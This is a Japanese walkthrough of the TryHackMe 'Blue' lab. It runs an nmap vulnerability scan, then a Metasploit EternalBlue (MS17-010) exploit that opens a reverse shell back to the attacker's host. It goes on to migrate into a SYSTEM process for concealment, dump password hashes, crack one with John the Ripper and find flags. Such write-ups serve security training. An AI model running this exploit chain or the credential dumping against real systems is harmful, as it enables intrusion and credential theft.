今回は、TryHackMeの「Blue」というRoomでWindowsマシンのハッキングをやってみます。
「TryHackMe-Blue:https://tryhackme.com/room/blue」
Recon(偵察)
まずは、「Start Machine」を選択して、ターゲットマシンを起動します。
下記のように、IP Addressが表示されていればOKです。
Scan the machine(マシンをスキャンします。)
まずは、マシンをスキャンしてみましょう。
nmapを利用します。オプションは、こんな感じです。
- -sV:サービス・バージョン検出
- –script:スクリプトを利用したスキャン
- -oN:通常出力
┌──(hacklab㉿hacklab)-[~/tryhackme/blue]
└─$ nmap -sV --script vuln -oN ./initial 10.10.143.122
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-08 22:13 JST
Nmap scan report for 10.10.143.122
Host is up (0.25s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server?
|_ssl-ccs-injection: No reply from server (TIMEOUT)
| rdp-vuln-ms12-020:
| VULNERABLE:
| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0152
| Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
| Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
| Disclosure date: 2012-03-13
| References:
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|
| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0002
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
| Disclosure date: 2012-03-13
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ http://technet.microsoft.com/en-us/security/bulletin/ms12-020
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 201.76 seconds
Answer
How many ports are open with a port number under 1000?(1000 未満のポート番号で開いているポートはいくつありますか?)
先ほどスキャンした結果を確認します。
1000未満のポート番号でOpenなのは、下記の3つだということがわかります。
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Answer
What is this machine vulnerable to? (このマシンは何に対して脆弱ですか?)
次は、どのような脆弱性があるか聞かれています。
色々脆弱性は挙げられていますが、ここでは「ms17-010」が正解だったようです。
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
Answer
Gain Access(アクセスする)
次は、Metasploitを利用して、ターゲットマシンにアクセスしてみます。
Start Metasploit(Metasploitを開始する)
まずは、Metasploitを開始します。
┌──(hacklab㉿hacklab)-[~/tryhackme/blue]
└─$ msfconsole
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
=[ metasploit v6.1.22-dev ]
+ -- --=[ 2188 exploits - 1161 auxiliary - 400 post ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Display the Framework log using the
log command, learn more with help log
msf6 >
Answer
Find the exploitation code we will run against the machine. What is the full path of the code? (マシンに対して実行する悪用コードを見つけます。コードのフルパスは何ですか? )
次に悪用できるモジュールがないか確認してみます。
検索は、先ほどの答えである「ms17-010」にしてみましょう。
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
msf6 >
5つ見つかりましたね。答えがどれかわからなかなったのですが、0が答えでした。
Answer
Show options and set the one required value. What is the name of this value?(オプションを表示し、必要な値を 1 つ設定します。この値の名前は何ですか?)
次は、必要なオプションを確認していきましょう。
利用するのは、0番なのでまずは、use 0をしておきます。
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
この状態で、show optionsをしてみましょう。
RequiredでCurrent Settingがない「RHOSTS」が答えですね。
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, W
indows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windo
ws 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Wind
ows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
msf6 exploit(windows/smb/ms17_010_eternalblue) >
RHOSTSにターゲットマシンを設定しておきましょう。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.143.122
RHOSTS => 10.10.143.122
Answer
With that done, run the exploit!(エクスプロイトを実行してください。)
通常の場合は、このまま実行してもらっても大丈夫なのですが、今回はTryHackMeのとおりに、「set payload windows/x64/shell/reverse_tcp」を設定しておきます。
また、このままだとリバースシェルがうまくいかないので、LHOSTにご自身のPCのIPを設定しておきます。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.18.110.90
LHOST => 10.18.110.90
この状態で、実行してみましょう。
1回目はなぜか失敗したが、2回目で成功!(リバースシェルのタイミングの問題かな??)
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.18.110.90:4444
[*] 10.10.143.122:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.143.122:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.143.122:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.143.122:445 - The target is vulnerable.
[*] 10.10.143.122:445 - Connecting to target for exploitation.
[+] 10.10.143.122:445 - Connection established for exploitation.
[+] 10.10.143.122:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.143.122:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.143.122:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.143.122:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.143.122:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.143.122:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.143.122:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.143.122:445 - Sending all but last fragment of exploit packet
[*] 10.10.143.122:445 - Starting non-paged pool grooming
[+] 10.10.143.122:445 - Sending SMBv2 buffers
[+] 10.10.143.122:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.143.122:445 - Sending final SMBv2 buffers.
[*] 10.10.143.122:445 - Sending last fragment of exploit packet!
[*] 10.10.143.122:445 - Receiving response from exploit packet
[+] 10.10.143.122:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.143.122:445 - Sending egg to corrupted connection.
[*] 10.10.143.122:445 - Triggering free of corrupted buffer.
[-] 10.10.143.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.143.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.143.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.10.143.122:445 - Connecting to target for exploitation.
[+] 10.10.143.122:445 - Connection established for exploitation.
[+] 10.10.143.122:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.143.122:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.143.122:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.143.122:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.143.122:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.143.122:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.143.122:445 - Trying exploit with 17 Groom Allocations.
[*] 10.10.143.122:445 - Sending all but last fragment of exploit packet
[*] 10.10.143.122:445 - Starting non-paged pool grooming
[+] 10.10.143.122:445 - Sending SMBv2 buffers
[+] 10.10.143.122:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.143.122:445 - Sending final SMBv2 buffers.
[*] 10.10.143.122:445 - Sending last fragment of exploit packet!
[*] 10.10.143.122:445 - Receiving response from exploit packet
[+] 10.10.143.122:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.143.122:445 - Sending egg to corrupted connection.
[*] 10.10.143.122:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.10.143.122
[*] Command shell session 2 opened (10.18.110.90:4444 -> 10.10.143.122:49176 ) at 2023-05-08 23:07:41 +0900
[+] 10.10.143.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.143.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.143.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Shell Banner:
Microsoft Windows [Version 6.1.7601]
-----
C:\Windows\system32>
Shellが取得できてますね!
Answer
Confirm that the exploit has run correctly(エクスプロイトが正しく実行されたことを確認します)
無事、Shellを取得できたので、念のためwhoamiをしておきましょう。
C:\Windows\system32>whoami
whoami
nt authority\system
次のステップのために、「CTRL+Z」でバックグラウンドに移動しておきます。
C:\Windows\system32>^Z
Background session 2? [y/N] y
msf6 exploit(windows/smb/ms17_010_eternalblue) >
Answer
Escalate(エスカレート)
次は、権限昇格をしていきます。
What is the name of the post module we will use?(使用するポストモジュールの名前は何ですか?)
MetasploitでShellをmeterpreter Shellに変換する方法を調べます。
すると、「shell_to_meterpreter」が出てくるので、これをsearchしてみましょう。
msf6 exploit(windows/smb/ms17_010_eternalblue) > search shell_to_meterpreter
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade
Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell_to_meterpreter
Answer
Show options, what option are we required to change?(オプションを表示します。どのオプションを変更する必要がありますか?)
次は、オプションを確認します。先ほども同じことをやりましたね。
msf6 exploit(windows/smb/ms17_010_eternalblue) > use 0
msf6 post(multi/manage/shell_to_meterpreter) > show options
Module options (post/multi/manage/shell_to_meterpreter):
Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION yes The session to run this module on
Answer
you may need to list all of the sessions to find your target here.(ここでターゲットを見つけるには、すべてのセッションをリストする必要がある場合があります。)
SESSIONを設定しますが、その前にSESSIONのリストを表示しましょう。
先ほど、バックグラウンドにしたSESSIONがあるのがわかると思います。
msf6 post(multi/manage/shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Shell Banner: Microsoft Windows [Version 6.1.7601] -- 10.18.110.90:4444 -> 10.10.143.122:49206 (10.10.143.1
--- 22)
先ほどのSESSIONのIDをSESSIONに設定します。
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
Answer
Run! If this doesn’t work, try completing the exploit from the previous task once more.(実行!これが機能しない場合は、前のタスクのエクスプロイトをもう一度完了してみてください。)
できたらrunで実行しましょう。(エビデンス取り忘れました。。。)
Answer
Once the meterpreter shell conversion completes, select that session for use.(meterpreter シェルの変換が完了したら、使用するセッションを選択します。)
完了したら、SESSIONが追加されていると思います。
msf6 post(multi/manage/shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Shell Banner: Microsoft Windows [Version 6.1.7601] 10.18.110.90:4444 -> 10.10.75.121:49172 (10.10.75.
----- 121)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.18.110.90:4433 -> 10.10.75.121:49183 (10.10.75.
121)
SESSION 2に切り替えてみましょう。
meterpreterになっているはずです。
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
Answer
Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this.(NT AUTHORITY\SYSTEM にエスカレーションされたことを確認します。getsystem を実行してこれを確認します。)
meterpreterには利用できるコマンドがいくつかあるので、それを利用してみます。
まずは、「getsystem」です。
これは、権限昇格を試みるコマンドになっています。勝手に権限昇格してくれるというものらしい。
meterpreter > getsystem
[-] Already running as SYSTEM
今回はすでに、SYSTEM権限だったので、特に変化はなしでした。
次は、「getuid」を試してみます。
これは、ユーザーの確認です。
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
「NT AUTHORITY\SYSTEM」であることがわかります。
Answer
List all of the processes running via the ‘ps’ command.(「ps」コマンドを使用して、実行中のすべてのプロセスをリストします。)
次は、「ps」コマンドで実行中のプロセスを確認します。
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
100 700 svchost.exe x64 0 NT AUTHORITY\SYSTEM
416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
464 2160 mscorsvw.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
536 700 svchost.exe x64 0 NT AUTHORITY\SYSTEM
552 544 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
600 544 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe
612 592 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
652 592 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe
700 600 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe
708 600 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe
716 600 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsm.exe
824 700 svchost.exe x64 0 NT AUTHORITY\SYSTEM
892 700 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE
940 700 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
1012 652 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\LogonUI.exe
1060 700 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
1112 824 WmiPrvSE.exe
1140 700 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE
1160 552 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\conhost.exe
1288 700 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1324 700 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
1392 700 amazon-ssm-agent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
1464 700 LiteAgent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\XenTools\LiteAgent.exe
1556 700 svchost.exe x64 0 NT AUTHORITY\SYSTEM
1604 700 Ec2Config.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
1908 700 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE
2040 1288 cmd.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\cmd.exe
2160 700 mscorsvw.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
2168 700 taskhost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\taskhost.exe
2312 700 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
2356 700 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE
2500 700 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM
2572 700 vds.exe x64 0 NT AUTHORITY\SYSTEM
2652 2836 powershell.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
2844 552 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\conhost.exe
3048 700 TrustedInstaller.exe x64 0 NT AUTHORITY\SYSTEM
Answer
Migrate to this process using the ‘migrate PROCESS_ID’ command where the process id is the one you just wrote down in the previous step.(「移行 PROCESS_ID」コマンドを使用して、このプロセスに移行します。プロセス ID は、前の手順で書き留めたものです。)
プロセスの実行ユーザーが「NT AUTHORITY\SYSTEM」になっているプロセスにmigrateを使って隠蔽化していきます。
meterpreter > migrate 700
[*] Migrating from 2652 to 700...
[*] Migration completed successfully.
無事、隠蔽ができました。
Answer
Cracking(クラッキング)
次は、デフォルト以外のユーザーのパスワードをデコードしてみます。
What is the name of the non-default user?(デフォルト以外のユーザーの名前は何ですか?)
まずは、パスワードハッシュを取得します。
マシン上のすべてのパスワードがダンプされています。
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
色々いますが、デフォルト以外なので「Jon」が今回のターゲットですね。
Answer
What is the cracked password?(クラックされたパスワードとは何ですか?)
先ほどのJonのハッシュをデコードしていきます。
とりあえず、先ほどのJonの行のみをメモしておきましょう。
┌──(hacklab㉿hacklab)-[~/tryhackme/blue]
└─$ cat hash_jon
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
ここで利用するのは、お決まりの「john the ripper」ですね。
ただ、フォーマットが特殊なので「–format=nt」が必要です。
┌──(hacklab㉿hacklab)-[~/tryhackme/blue]
└─$ john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hash_jon
Created directory: /home/hacklab/.john
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22 (Jon)
1g 0:00:00:00 DONE (2023-05-09 00:28) 2.857g/s 29143Kp/s 29143Kc/s 29143KC/s alr19882006..alpusidi
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
「alqfna22」であることがわかりました。
Answer
Find flags!(旗を探せ!)
最後は、CTFらしくflagをさがしていきましょう。
Flag1? This flag can be found at the system root.(フラグ1? このフラグはシステム ルートにあります。)
flag1は、System Rootにあるようです。
meterpreter > pwd
C:\Windows\system32
meterpreter > cd /
meterpreter > ls
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2018-12-13 12:13:36 +0900 $Recycle.Bin
040777/rwxrwxrwx 0 dir 2009-07-14 14:08:56 +0900 Documents and Settings
040777/rwxrwxrwx 0 dir 2009-07-14 12:20:08 +0900 PerfLogs
040555/r-xr-xr-x 4096 dir 2019-03-18 07:22:01 +0900 Program Files
040555/r-xr-xr-x 4096 dir 2019-03-18 07:28:38 +0900 Program Files (x86)
040777/rwxrwxrwx 4096 dir 2019-03-18 07:35:57 +0900 ProgramData
040777/rwxrwxrwx 0 dir 2018-12-13 12:13:22 +0900 Recovery
040777/rwxrwxrwx 4096 dir 2023-05-09 00:30:47 +0900 System Volume Information
040555/r-xr-xr-x 4096 dir 2018-12-13 12:13:28 +0900 Users
040777/rwxrwxrwx 16384 dir 2019-03-18 07:36:30 +0900 Windows
100666/rw-rw-rw- 24 fil 2019-03-18 04:27:21 +0900 flag1.txt
000000/--------- 0 fif 1970-01-01 09:00:00 +0900 hiberfil.sys
000000/--------- 0 fif 1970-01-01 09:00:00 +0900 pagefile.sys
ありましたね。中身を覗きましょう。
meterpreter > cat flag1.txt
flag{access_the_machine}
Answer
Flag2? This flag can be found at the location where passwords are stored within Windows.(フラグ2?このフラグは、Windows 内のパスワードが保存されている場所にあります。)
次は、flag2を探します。Windows内のパスワードが保存されている場所とのことです。
ただ、flagのタイトルフォーマットがわかったので、meterpreterのsearchでフォーマットに一致するファイルを探しておきます。
meterpreter > search -f flag*txt
Found 3 results...
==================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\Users\Jon\Documents\flag3.txt 37 2019-03-18 04:26:36 +0900
c:\Windows\System32\config\flag2.txt 34 2019-03-18 04:32:48 +0900
c:\flag1.txt
「c:\Windows\System32\config\flag2.txt」にあるようです。
meterpreter > cd Windows\\System32\\config\\
meterpreter > ls
Listing: C:\Windows\System32\config
===================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 28672 fil 2018-12-13 08:00:40 +0900 BCD-Template
100666/rw-rw-rw- 25600 fil 2018-12-13 08:00:40 +0900 BCD-Template.LOG
100666/rw-rw-rw- 18087936 fil 2023-05-09 00:05:48 +0900 COMPONENTS
100666/rw-rw-rw- 1024 fil 2011-04-12 17:32:10 +0900 COMPONENTS.LOG
100666/rw-rw-rw- 13312 fil 2023-05-09 00:05:48 +0900 COMPONENTS.LOG1
100666/rw-rw-rw- 0 fil 2009-07-14 11:34:08 +0900 COMPONENTS.LOG2
100666/rw-rw-rw- 1048576 fil 2023-05-08 23:54:43 +0900 COMPONENTS{016888b8-6c6f-11de-8d1d-001e0bcde3ec}.TxR.0.regtrans-ms
100666/rw-rw-rw- 1048576 fil 2023-05-08 23:54:43 +0900 COMPONENTS{016888b8-6c6f-11de-8d1d-001e0bcde3ec}.TxR.1.regtrans-ms
100666/rw-rw-rw- 1048576 fil 2023-05-08 23:54:43 +0900 COMPONENTS{016888b8-6c6f-11de-8d1d-001e0bcde3ec}.TxR.2.regtrans-ms
100666/rw-rw-rw- 65536 fil 2023-05-08 23:54:43 +0900 COMPONENTS{016888b8-6c6f-11de-8d1d-001e0bcde3ec}.TxR.blf
100666/rw-rw-rw- 65536 fil 2018-12-13 12:20:57 +0900 COMPONENTS{016888b9-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw- 524288 fil 2018-12-13 12:20:57 +0900 COMPONENTS{016888b9-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer0000000000000000000
1.regtrans-ms
100666/rw-rw-rw- 524288 fil 2009-07-14 14:01:27 +0900 COMPONENTS{016888b9-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer0000000000000000000
2.regtrans-ms
100666/rw-rw-rw- 262144 fil 2023-05-09 00:24:11 +0900 DEFAULT
100666/rw-rw-rw- 1024 fil 2011-04-12 17:32:10 +0900 DEFAULT.LOG
100666/rw-rw-rw- 177152 fil 2023-05-09 00:24:11 +0900 DEFAULT.LOG1
100666/rw-rw-rw- 0 fil 2009-07-14 11:34:08 +0900 DEFAULT.LOG2
100666/rw-rw-rw- 65536 fil 2019-03-18 07:22:17 +0900 DEFAULT{016888b5-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw- 524288 fil 2019-03-18 07:22:17 +0900 DEFAULT{016888b5-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.r
egtrans-ms
100666/rw-rw-rw- 524288 fil 2019-03-18 07:22:17 +0900 DEFAULT{016888b5-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.r
egtrans-ms
040777/rwxrwxrwx 0 dir 2009-07-14 11:34:57 +0900 Journal
040777/rwxrwxrwx 4096 dir 2023-05-09 00:23:52 +0900 RegBack
100666/rw-rw-rw- 262144 fil 2019-03-18 05:05:08 +0900 SAM
100666/rw-rw-rw- 1024 fil 2011-04-12 17:32:10 +0900 SAM.LOG
100666/rw-rw-rw- 21504 fil 2019-03-18 07:39:12 +0900 SAM.LOG1
100666/rw-rw-rw- 0 fil 2009-07-14 11:34:08 +0900 SAM.LOG2
100666/rw-rw-rw- 65536 fil 2019-03-18 07:22:17 +0900 SAM{016888c1-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw- 524288 fil 2019-03-18 07:22:17 +0900 SAM{016888c1-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtr
ans-ms
100666/rw-rw-rw- 524288 fil 2019-03-18 07:22:17 +0900 SAM{016888c1-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtr
ans-ms
100666/rw-rw-rw- 262144 fil 2023-05-09 00:06:03 +0900 SECURITY
100666/rw-rw-rw- 1024 fil 2011-04-12 17:32:10 +0900 SECURITY.LOG
100666/rw-rw-rw- 21504 fil 2023-05-09 00:06:03 +0900 SECURITY.LOG1
100666/rw-rw-rw- 0 fil 2009-07-14 11:34:08 +0900 SECURITY.LOG2
100666/rw-rw-rw- 65536 fil 2019-03-18 07:22:17 +0900 SECURITY{016888c5-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw- 524288 fil 2019-03-18 07:22:17 +0900 SECURITY{016888c5-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.
regtrans-ms
100666/rw-rw-rw- 524288 fil 2019-03-18 07:22:17 +0900 SECURITY{016888c5-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.
regtrans-ms
